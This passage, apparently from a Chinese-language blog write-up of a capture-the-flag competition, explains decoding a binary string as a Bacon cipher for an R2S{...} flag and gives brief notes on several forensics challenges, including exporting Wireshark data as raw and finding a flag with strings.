1 1000 021 000 1{1000 0 00 10 01 00 010 011 1 000 00011 100 01 00000 0001 1 0 00 001 10 0 0110 0 1 00000 10 01 10 100 0 110 0100 }
首先要猜那個 2 是 flag format R2S{...}
中的
2,然後把所有非 0 和 1 的字元移除掉:
1 100001000110000001001000100111000000111000100000000110000011000110010000010011010001100100
之後用 CyberChef 的 magic 可以發現它是 Bacon cipher: link
Forensics
Headache
隊友解的,我不會解==
md0
一樣是隊友解的,我有學到了從 Wireshark export 檔案的時候一樣要選
raw
這件事而已
H4cK3d
題目出壞掉,直接 strings 就有 flag 了。